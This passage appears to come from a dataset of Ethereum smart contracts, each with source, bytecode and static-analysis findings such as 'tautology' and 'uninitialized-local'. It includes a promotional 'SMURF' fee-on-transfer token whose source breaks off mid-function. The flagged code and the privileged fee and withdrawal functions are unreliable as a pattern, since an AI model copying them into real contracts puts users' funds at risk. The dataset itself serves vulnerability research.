_to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = this.balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x6060604052600436106102215763ffffffff60e060020a60003504166306fdde03811461022b578063095ea7b3146102b557806314ffbafc146102eb57806318160ddd146102fe5780631d3795e814610323578063227a79111461033657806323b872dd146103495780632e23062d14610371578063313ce5671461038457806342966c68146103ad578063502dadb0146103c357806351cff8d9146104125780635dfc34591461043157806370a0823114610444578063781c0db414610463578063829c34281461047657806382c6b2b6146104895780638da5cb5b1461049c57806395d89b41146104cb57806397b68b60146104de5780639b1cbccc146104f15780639c09c83514610504578063a6f9dae114610553578063a8c310d514610572578063a9059cbb14610601578063aa6ca80814610221578063b45be89b14610623578063bc2d10f114610636578063bcf6b3cd14610649578063be45fd6214610668578063c108d542146106cd578063c489744b146106e0578063cbbe974b14610705578063d1b6a51f14610724578063d4b8399214610737578063d83623dd1461074a578063d8a543601461075d578063dd62ed3e14610770578063df68c1a214610795578063e58fc54c146107a8578063e6b71e45146107c7578063e7f9e40814610856578063eab136a014610869578063efca2eed14610888578063f3e4877c1461089b578063f6368f8a146108ec578063f9f92be414610993575b6102296109b2565b005b341561023657600080fd5b61023e610bdd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561027a578082015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102c057600080fd5b6102d7600160a060020a0360043516602435610c85565b604051901515815260200160405180910390f35b34156102f657600080fd5b6102d7610cf1565b341561030957600080fd5b610311610d2f565b60405190815260200160405180910390f35b341561032e57600080fd5b6102d7610d35565b341561034157600080fd5b610311610d72565b341561035457600080fd5b6102d7600160a060020a0360043581169060243516604435610d78565b341561037c57600080fd5b610311610f56565b341561038f57600080fd5b610397610f5c565b60405160ff909116815260200160405180910390f35b34156103b857600080fd5b610229600435610f65565b34156103ce57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061105195505050505050565b341561041d57600080fd5b610229600160a060020a03600435166110df565b341561043c57600080fd5b610311611132565b341561044f57600080fd5b610311600160a060020a0360043516611138565b341561046e57600080fd5b6102d7611153565b341561048157600080fd5b6102d7611194565b341561049457600080fd5b6103116111c4565b34156104a757600080fd5b6104af6111ca565b604051600160a060020a03909116815260200160405180910390f35b34156104d657600080fd5b61023e6111d9565b34156104e957600080fd5b6102d761124c565b34156104fc57600080fd5b6102d761125a565b341561050f57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061129a95505050505050565b341561055e57600080fd5b610229600160a060020a0360043516611324565b341561057d57600080fd5b61022960046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061137a95505050505050565b341561060c57600080fd5b6102d7600160a060020a0360043516602435611456565b341561062e57600080fd5b6103116114a6565b341561064157600080fd5b6102d76114ac565b341561065457600080fd5b6102d76004356024356044356064356114ef565b341561067357600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061152b95505050505050565b34156106d857600080fd5b6102d761156d565b34156106eb57600080fd5b610311600160a060020a0360043581169060243516611576565b341561071057600080fd5b610311600160a060020a03600435166115f3565b341561072f57600080fd5b6102d7611605565b341561074257600080fd5b6104af611614565b341561075557600080fd5b6102d7611623565b341561076857600080fd5b61031161164f565b341561077b57600080fd5b610311600160a060020a0360043581169060243516611655565b34156107a057600080fd5b6102d7611680565b34156107b357600080fd5b6102d7600160a060020a0360043516611689565b34156107d257600080fd5b6102296004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506117a695505050505050565b341561086157600080fd5b6102d7611860565b341561087457600080fd5b610311600160a060020a036004351661188c565b341561089357600080fd5b61031161189e565b34156108a657600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506118a492505050565b34156108f757600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061193895505050505050565b341561099e57600080fd5b6102d7600160a060020a0360043516611bf2565b6013546000908190819060ff16156109c957600080fd5b600160a060020a03331660009081526003602052604090205460ff16156109ef57600080fd5b600f54600c541115610a0257600f54600c555b33925034915066038d7ea4c68000821115610aad5760135462010000900460ff1615610a2d57600080fd5b601254610a4190839063ffffffff611c0716565b9050610a58600c5482611c2b90919063ffffffff16565b600f54909150811115610a6a57600080fd5b610a748382611c3a565b50600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610aa857600080fd5b610bbf565b601354610100900460ff16158015610ac95750600f54600c5411155b8015610aef5750600654600160a060020a03841660009081526004602052604090205411155b8015610b135750600160a060020a0383166000908152600560205260409020544210155b1515610b1e57600080fd5b600d54600160a060020a038416600090815260046020526040902054610b5b91610b4e919063ffffffff611c0716565b829063ffffffff611c2b16565b9050610b72600c5482611c2b90919063ffffffff16565b600160a060020a0384166000908152600460205260409020805460010190559050610b9d8382611c3a565b50600160a060020a038316600090815260056020526040902062015180420190555b600b5460105410610bd8576013805460ff191660011790555b505050565b610be56120ec565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b820191906000526020600020905b815481529060010190602001808311610c5e57829003601f168201915b5050505050905090565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d0d57600080fd5b60135460ff1615610d1d57600080fd5b506013805462ff000019169055600190565b600b5490565b6000805433600160a060020a03908116911614610d5157600080fd5b60135460ff1615610d6157600080fd5b506013805461ff0019169055600190565b60125481565b60115460009060ff161515600114610d8f57600080fd5b600160a060020a03831615801590610da75750600082115b8015610dcc5750600160a060020a038416600090815260016020526040902054829010155b8015610dff5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610e245750600160a060020a03841660009081526003602052604090205460ff16155b8015610e495750600160a060020a03831660009081526003602052604090205460ff16155b1515610e5457600080fd5b600160a060020a038416600090815260016020526040902054610e7d908363ffffffff611d0b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eb2908363ffffffff611c2b16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610efa908363ffffffff611d0b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206121168339815191529085905190815260200160405180910390a35060015b9392505050565b600d5481565b600a5460ff1690565b6000805433600160a060020a03908116911614610f8157600080fd5b600160a060020a033316600090815260016020526040902054821115610fa657600080fd5b5033600160a060020a038116600090815260016020526040902054610fcb9083611d0b565b600160a060020a038216600090815260016020526040902055600b54610ff7908363ffffffff611d0b16565b600b5560105461100d908363ffffffff611d0b16565b601055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000805433600160a060020a0390811691161461106d57600080fd5b60ff8251111561107c57600080fd5b5060005b81518160ff1610156110db57600160036000848460ff16815181106110a157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101611080565b5050565b6000805433600160a060020a039081169116146110fb57600080fd5b50600160a060020a033081163190821681156108fc0282604051600060405180830381858888f1935050505015156110db57600080fd5b60065481565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461116f57600080fd5b60135460ff161561117f57600080fd5b506013805461ff001916610100179055600190565b6000805433600160a060020a039081169116146111b057600080fd5b506011805460ff1916600190811790915590565b600e5481565b600054600160a060020a031681565b6111e16120ec565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b601354610100900460ff1681565b6000805433600160a060020a0390811691161461127657600080fd5b60135460ff161561128657600080fd5b506013805460ff1916600190811790915590565b6000805433600160a060020a039081169116146112b657600080fd5b60ff825111156112c557600080fd5b5060005b81518160ff1610156110db57600060036000848460ff16815181106112ea57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016112c9565b60005433600160a060020a0390811691161461133f57600080fd5b600160a060020a03811615611377576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000805433600160a060020a0390811691161461139657600080fd5b60135460ff16156113a657600080fd5b60ff835111156113b557600080fd5b81518351146113c357600080fd5b5060005b82518160ff161015610bd857600f54828260ff16815181106113e557fe5b9060200190602002015111156113fa57600080fd5b611434838260ff168151811061140c57fe5b90602001906020020151838360ff168151811061142557fe5b90602001906020020151611c3a565b50600b546010541061144e576013805460ff191660011790555b6001016113c7565b60006114606120ec565b60115460ff16151560011461147457600080fd5b61147d84611d1d565b156114945761148d848483611d25565b915061149f565b61148d848483611f78565b5092915050565b600c5481565b6000805433600160a060020a039081169116146114c857600080fd5b60135460ff16156114d857600080fd5b506013805462ff0000191662010000179055600190565b6000805433600160a060020a0390811691161461150b57600080fd5b50600c849055600d8390556012829055600681905560015b949350505050565b60115460009060ff16151560011461154257600080fd5b61154b84611d1d565b156115625761155b848484611d25565b9050610f4f565b61155b848484611f78565b60135460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156115d057600080fd5b6102c65a03f115156115e157600080fd5b50505060405180519695505050505050565b60056020526000908152604090205481565b60135462010000900460ff1681565b600754600160a060020a031681565b6000805433600160a060020a0390811691161461163f57600080fd5b506013805460ff19169055600190565b600f5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60115460ff1681565b600080548190819033600160a060020a039081169116146116a957600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561170357600080fd5b6102c65a03f1151561171457600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561178457600080fd5b6102c65a03f1151561179557600080fd5b505050604051805195945050505050565b6000805433600160a060020a039081169116146117c257600080fd5b60ff835111156117d157600080fd5b5060005b82518160ff161015610bd857600654828260ff16815181106117f357fe5b90602001906020020151111561180857600080fd5b818160ff168151811061181757fe5b9060200190602002015160046000858460ff168151811061183457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556001016117d5565b6000805433600160a060020a0390811691161461187c57600080fd5b506011805460ff19169055600190565b60046020526000908152604090205481565b60105481565b6000805433600160a060020a039081169116146118c057600080fd5b60135460ff16156118d057600080fd5b60ff835111156118df57600080fd5b600f548211156118ee57600080fd5b5060005b82518160ff161015610bbf57600f5482111561190d57600080fd5b61192f838260ff168151811061191f57fe5b9060200190602002015183611c3a565b506001016118f2565b60115460009060ff16151560011461194f57600080fd5b61195885611d1d565b15611be0578361196733611138565b101561197257600080fd5b600160a060020a03331660009081526001602052604090205461199b908563ffffffff611d0b16565b600160a060020a0333811660009081526001602052604080822093909355908716815220546119d0908563ffffffff611c2b16565b600160a060020a0386166000818152600160205260408082209390935590918490518082805190602001908083835b60208310611a1e5780518252601f1990920191602091820191016119ff565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611aaf578082015183820152602001611a97565b50505050905090810190601f168015611adc5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611b0057fe5b826040518082805190602001908083835b60208310611b305780518252601f199092019160209182019101611b11565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001611523565b611beb858585611f78565b9050611523565b60036020526000908152604090205460ff1681565b6000828202831580611c235750828482811515611c2057fe5b04145b1515610f4f57fe5b600082820183811015610f4f57fe5b60135460009060ff1615611c4d57600080fd5b600f546000901015611c5e57600080fd5b600f54821115611c6d57600080fd5b601054611c80908363ffffffff611c2b16565b601055600f54611c96908363ffffffff611d0b16565b600f55600160a060020a038316600090815260016020526040902054611cc2908363ffffffff611c2b16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206121168339815191529085905190815260200160405180910390a350600192915050565b600082821115611d1757fe5b50900390565b6000903b1190565b60008083611d3233611138565b1015611d3d57600080fd5b600160a060020a033316600090815260016020526040902054611d66908563ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590871681522054611d9b908563ffffffff611c2b16565b600160a060020a03861660008181526001602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e34578082015183820152602001611e1c565b50505050905090810190601f168015611e615780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611e8157600080fd5b6102c65a03f11515611e9257600080fd5b505050826040518082805190602001908083835b60208310611ec55780518252601f199092019160209182019101611ea6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001949350505050565b600082611f8433611138565b1015611f8f57600080fd5b600160a060020a033316600090815260016020526040902054611fb8908463ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590861681522054611fed908463ffffffff611c2b16565b600160a060020a03851660009081526001602052604090819020919091558290518082805190602001908083835b6020831061203a5780518252601f19909201916020918201910161201b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206121168339815191528560405190815260200160405180910390a35060019392505050565b60206040519081016040526000815290565b600080828481151561210c57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058201c1b71b100952bb71ef4cfb16094600c6e688e097e26f5407dc578b3001deaa10029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,887
0xdd94cA355872403f406bA16E6a2b19a75aD5AF98
/*** * * Smurf Token is launching Sunday 10/10 at 16:00 UTC * Early $SMURF buyers receive FREE Smurf NFTs! * * Giveaway details at www.smurf.show * Follow and retweet pinned twitter.com/smurfshow * Join community via t.me/smurftoken * * Fair launch, locked within minutes, no team or dev tokens issued. * * _,,aaaaa,,_ * _,dP"'' `""""Ya,_ * ,aP"' `"Yb,_ * ,8"' `"8a, * ,8" `"8,_ * ,8" "Yb, * ,8" `8, * dP' 8I * ,8" bg,_ ,P' * ,8' "Y8"Ya,,,,ad" * ,d" a,_ I8 `"""' * ,8' ""888 * dP __ `Yb, * dP' _,d8P::::Y8b, `Ya * ,adba8',d88P::;;::;;;:"b:::Ya,_ Ya * dP":::"Y88P:;P"""YP"""Yb;::::::"Ya, "Y, * 8:::::::Yb;d" _ "_ dI:::::::::"Yb,__,,gd88ba,db * Yb:::::::"8(,8P _d8 d8:::::::::::::Y88P"::::::Y8I * `Yb;:::::::""::"":b,,dP::::::::::::::::::;aaa;:::8( * `Y8a;:::::::::::::::::::::;;::::::::::8P""Y8)::8I * 8b"ba::::::::::::::::;adP:::::::::::":::dP::;8' * `8b;::::::::::::;aad888P::::::::::::::;dP::;8' * `8b;::::::::""""88" d::::::::::b;:::::;;dP' * "Yb;::::::::::Y8bad::::::::::;"8Paaa""' * `"Y8a;;;:::::::::::::;;aadP"" * ``""Y88bbbdddd88P""8b, * _,d8"::::::"8b, * ,dP8"::::::;;:::"b, * ,dP"8:::::::Yb;::::"b, * ,8P:dP:::::::::Yb;::::"b, * _,dP:;8":::::::::::Yb;::::"b * ,aaaaaa,,d8P:::8":::::::::::;dP:::::;8 * ,ad":;;:::::"::::8"::::::::::;dP::::::;dI * dP";adP":::::;:;dP;::::aaaad88"::::::adP:8b,___ * d8:::8;;;aadP"::8'Y8:d8P"::::::::::;dP";d"'`Yb:"b * 8I:::;""":::::;dP I8P"::::::::::;a8"a8P" "b:P * Yb::::"8baa8"""' 8;:;d"::::::::d8P"' 8" * "YbaaP::8;P `8;d::;a::;;;;dP ,8 * `"Y8P"' Yb;;d::;aadP" ,d' * "YP:::"P' ,d' * "8bdP' _ ,8' * ,8"`""Yba,d" ,d" * ,P' d"8' ,d" * ,8' d'8' ,P' * (b 8 I 8, * Y, Y,Y, `b, * ____ "8,__ `Y,Y, `Y""b, * ,adP""""b8P""""""""Ybdb, Y, * ,dP" ,dP' `"" `8 * ,8" ,P' ,P * 8' 8) ,8' * 8, Yb ,aP' * `Ya Yb ,ad"' * "Ya,___ "Ya ,ad"' * ``""""""`Yba,,,,,,,adP"' * `"""""""' * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SMURF is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Smurf Token | t.me/smurftoken"; string private constant _symbol = unicode"SMURF"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit 